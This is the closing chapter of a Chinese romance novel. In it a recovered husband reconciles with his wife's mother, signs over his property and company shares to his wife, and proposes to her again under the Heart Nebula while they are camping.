邵成章已经开始慢慢处理工作了，只不过沈灼不准让他加班，到点必须下班回家。公司高薪请了那么多管理层，总不能什么都压给他一个人。 邵成章收好碗筷，看见沈灼坐在沙发上出神，刚刚吃饭的时候就感觉她心不在焉的，他走过去问她怎么了。 沈灼歪头倚靠在沙发背上，想了想问他：“你出院之后，和我妈还有联系吗？” 邵成章轻轻摇头：“我给妈妈发了消息，但是她一直都没有回复我。” “你说她不会还生气吧？”沈灼叹口气。 邵成章想了想说：“我们去看看妈妈吧？” 沈灼缓缓点头，要不然总这么僵着也不是个事儿，“周末吧，等我和她打个电话。” 眨眼到了周末，沈灼握着手机在床边坐着，她正在想该怎么开口，手机突然振动起来。看清来电显示，她手机差点扔出去。 她没给迟女士打过来，反而是迟女士先给她打过来了。 犹豫几秒，还是接通了，沈灼磕磕巴巴地喊了声“妈”。 迟女士说：“租你房子的那小姑娘从家里拿的特产过来，说一定要给你，有时间你过来拿，还有之前从中湖搬过来的东西，别都堆我这。” 沈灼道：“好啊，我今天不忙，一会儿我和邵成章过去。”她试探着迟女士对邵成章的反应，没想到她听到也只是简单“嗯”了声，再没说什么。 “邵成章！”沈灼大喊着跑出卧室，冲到书房，她趴在门边问他，“你今天有事吗，我妈刚打电话给我说让我们回家。” 邵成章一怔，随后将笔记本一扣，冲她笑道，“我没事。” 沈灼比了个“OK”的手势，“那换下衣服，我们一会儿出发。” 沈灼和邵成章先来了商超，买了些补品和水果，下车的时候，他又从沈灼面前的储物箱拿出了一个文件夹。 “这是什么？”沈灼问她。 邵成章答：“是我给妈妈的。” 沈灼一脸莫名，不知道他要卖什么关子。 上了楼，沈灼从包里掏钥匙，她现在还有点紧张，钥匙怎么也摸不着。她晃了晃包，听到钥匙碰撞发出“哐啷哐啷”的声音。 门突然打开，沈灼抬头见迟女士站在门口，几乎是条件反射地喊：“妈……” 邵成章也喊：“妈。” 迟女士先看看沈灼，又抬眼看着她身后的邵成章，没应他们，她转身进了屋子说：“先进来吧。” 两个人提着大包小包进门，看见鞋柜旁边堆着两个大纸箱子和一个打包袋子。 迟女士坐在沙发上给自己倒了杯茶，慢慢喝着。 沈灼将水果放进厨房，和邵成章坐在另一侧沙发上，她弯腰给自己和邵成章各倒了一杯茶。 她先找话题：“门口那些要搬走呗？” “嗯。”迟女士应了一声，手边有个信封她放到沈灼面前，“这是那小姑娘的租金，我按押一付一收的。” “我不要，你拿着吧，以后房租都打给你就行了。” 迟女士没应，一时间，空气陷入沉默。沈灼战术性喝了口茶。 半晌还是迟女士先开口，她没看邵成章，就只是问：“什么时候出院的？” “就前几天。”沈灼说。 “好了吗？” “昂，没好医生能让出院吗。” “妈妈，”邵成章突然开口，“我现在已经恢复正常了，您不用担心。这个是我当初答应您的。”他从身侧拿出文件夹，里面是两份协议。 一份是房屋过户协议，一份是股权转让协议。 “这是悦澜湾的过户协议，是一开始就答应您给沈灼的，另一份是我公司我所有的股份。只要她签字，就可以生效。现在，我把我的一切都给她。”邵成章看着迟女士，一字一句认真地说。 “你干嘛啊？”沈灼震惊地看着他，她对邵成章答应迟女士要把悦澜湾过户给她的事一概不知，更别说他还要给她公司的股份。 “我只是想让妈妈可以对我放心一些。” 迟女士淡淡地说：“这个不用和我说，反正是你们俩过日子，她接受就行。” “我可不——”沈灼话没说完，余光瞥到迟女士，她正微皱着眉盯着自己，于是立马改口，“不可能不签啊。” 茶几下面有签字笔，沈灼拿过来，龙飞凤舞地签上了自己的大名，签完她对迟女士道：“妈，你真的不要担心了，我怎么可能会让自己吃亏呢，你说是吧？” 迟女士喝完最后一口茶，起身去厨房，沈灼屁颠儿地跟过去，“妈，你今天中午做什么，我们俩在你这蹭口饭吃。” 迟女士说不知道。 “那吃饺子呗？好久没吃你包的饺子了。”沈灼跟在迟女士身后打转。 “想吃就包吧。” 沈灼嘿嘿一笑，说“好”，转头对着客厅大喊：“邵成章，过来包饺子。” 吃完饭，邵成章主动去厨房洗碗，迟女士将盘子搁在水槽旁边没走，邵成章立即意识到她这是有话要说，于是关闭了水龙头。 迟女士道：“沈灼是随我了，认准一条道就不管不顾地走下去，我不管你们了，毕竟是你们在一起过。不过看起来，我姑娘的眼光要比我好。” 邵成章微微一笑：“妈，谢谢。” 从迟女士那回来没两天，相亲相爱一家人群又开始活跃起来，当然也还是迟女士为主力军，邵成章打辅助，只不过迟女士转发的视频号内容发生了极大的转变。 原先还是“出门在外的保命暗语”、“几月生孩子最优质”、“智慧的女人这三件事不能做”等，沈灼一 看就要皱眉头的内容，现在却是“哈佛大学推荐的20种抗抑郁食物清单”、“如何解决负面情绪”……不过偶尔，沈灼收到消息，不忙的时候倒也是能打开看一看，而后给迟女士发一个竖大拇指的小表情。 月底，《雾灯》开始进行路演，沈灼实在不放心关司予和麦序，只好跟着一起。 临走之前，她嘱咐邵成章：“我告诉你，我不在家你不准偷偷加班，十一点之前必须上床躺下，听到没有？”自从出院，沈灼严格控制他的作息时间。 邵成章特别乖地点点头。 每天晚上沈灼开小会的前后，会和邵成章视频进行检查。Nadia不知内情，只当是俩人感情腻歪，在旁边直摇头感叹，“恋爱中的女人真让人受不了，建议公司提一个‘单身补贴’，都要受工伤了。” “错！”沈灼伸出她的手，展示着无名指上套着的亮闪的钻戒，“不仅是恋爱，我们还结婚了呢。” “靠……”惹得Nadia直翻白眼，从坐在她旁边的位置换到了她的斜对面，“我要离你远点儿！” 路演一共持续了小半个月，十一正式上映那天，票房就已经达到六千万了，预计总票房将近七亿。毕竟国庆档竞争大，又有大导演大场面的献礼片，这个票房成绩已经很不错了，妥妥稳赚。 沈灼回程是下午的航班，刚好傍晚到家，邵成章早早回家洗手作羹汤，做了几道她爱吃的菜。 开门的瞬间，她看到邵成章站在玄关，学她曾经做过的骑士礼，“Weehome！Myprettywife。” 下一秒，沈灼上前将他结结实实地抱住，忍不住在脖颈间深吸一口，鼻尖是淡淡的熟悉的香水味。 “好想你。”沈灼闷在他胸口说。 邵成章将她抱起来，笑着说：“吃完饭再想。”他上前两步，把行李箱拎进来，关上了电子门。 “啧，几日不见感情淡了是吧，都不说想我的。”她搂着他的脖子，挺直腰和他拉开些距离看着他。 “你不能冤枉我。”邵成章摇头笑说，“每天晚上说是要给我打视频，哪次不是我主动打过去的？” 沈灼哼哼两声，邵成章抱着她去了岛台，准备洗手吃饭。 吃完饭，沈灼懒懒地躺在沙发上发饭晕，邵成章过来也懒得搭理他了，光盯着手机。 “原来说想我是限定款的。”他蹲在沙发前噙笑盯着她道。 沈灼打了个哈欠，有气无力地小声嗡嗡：“有点累了，现在没有想你的力气了。” “那一会儿去洗澡，今晚早点睡。”邵成章笑出声，只觉得她怪可爱的，接着他又说，“周六我们去露营吧。” 整个十一假期她都不在家，对此心生愧疚，此刻邵成章提什么要求她都答应。 周六是个好天气，天空高远澄净。邵成章没带着沈灼去房车露营地，而是去了郊区一个三面环湖的小岛。这里的娱乐活动更丰富，晚上还可以观星。 吃过晚饭后，他牵着沈灼的手沿着石板路走到观星台，旁边支着一架天文望远镜。 邵成章走过去开始调试望远镜和手机，没一会儿，他拿着手机朝她摆了摆，“老婆，来看。” 手机上显示出一张照片，夜空深邃无垠，中央却赫然浮现出一团淡淡的瑰丽星云。它呈现出绯红与紫蓝交织的色彩，形状像一颗人类的心脏。 “好美啊，它是心形的。”沈灼感叹一声。 “这是IC1805，取名为心脏星云。”邵成章说，“传说是有两颗星星深爱着对方，强烈的心跳是他们彼此爱意的表达，当他们决定永远在一起时便融合成了一个新的星体，最后就是心脏的形状。他们要告诉宇宙他们永恒的爱。” 邵成章握着沈灼的手，缓缓放到自己的胸口，让她感受到胸腔里自己那颗正在剧烈跳动的心脏。 “在遇到你之前，我从不相信所谓的无条件爱。感情在我眼里只有风险和变量，而我不喜欢变数，我要精确地规划每一件事，我的生活就这样日复一日，无趣又无聊。可你真的是例外，从遇到妈妈，和你产生微妙了连结之后，命运就一直牵引着我走向你，让我一次次打破原则。” 同意相亲，提出结婚，请求同居，为她不断打破原则……只要和她有关，邵成章就能接受一切突发的偏轨。 突然他单膝下跪，从口袋里取出一个小丝绒盒子，抬眸看向她。 “沈灼，我不保证未来不会有意外，但我能保证的是，无论我的人生航线如何规划，它的最终锚点万般确定，只会是你。”邵成章抿着唇，缓缓道，“所以，可不可以给我一个机会，让我成为你的丈夫，我会一生都尊重你，理解你，爱你。” 沈灼完全没想到邵成章会和她求婚，这实在是没有预兆。 她除了惊讶还是惊讶，大脑空了几秒之后反应过来，“邵成章，你干嘛突然求婚啊……不是，我们不是已经结婚了吗？” “这不一样，我想要你心甘情愿地和我结婚。”第一次他坐在咖啡厅的求婚，她喝醉酒后答应他的求婚，都并非出自本心。邵成章灼灼地看着她，“你还没有回答我。” 沈灼意识到他的意思之后，笑着点头，“我同意了。”她伸出右手，递到他面前。 邵成章如释重负地松了口气，他将原先的戒指摘了下来，因为手轻微地颤抖，戒指还差点掉在地上。他给她重新戴上了一枚新的蓝宝石戒指。 “你是在紧张吗？”沈灼忍不住笑他。 “当然了，我刚刚可是在完成一件人生最重要的事了。” 戒指戴好的瞬间，沈灼没有去看那抹璀璨的蓝色，而是用力将他拉起来，踮起脚尖，温柔地吻上他的唇。 一吻过后，她稍稍退开，呼吸微促地盯着他， “邵成章，我会一直毫无保留地爱你。” （正文完）魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m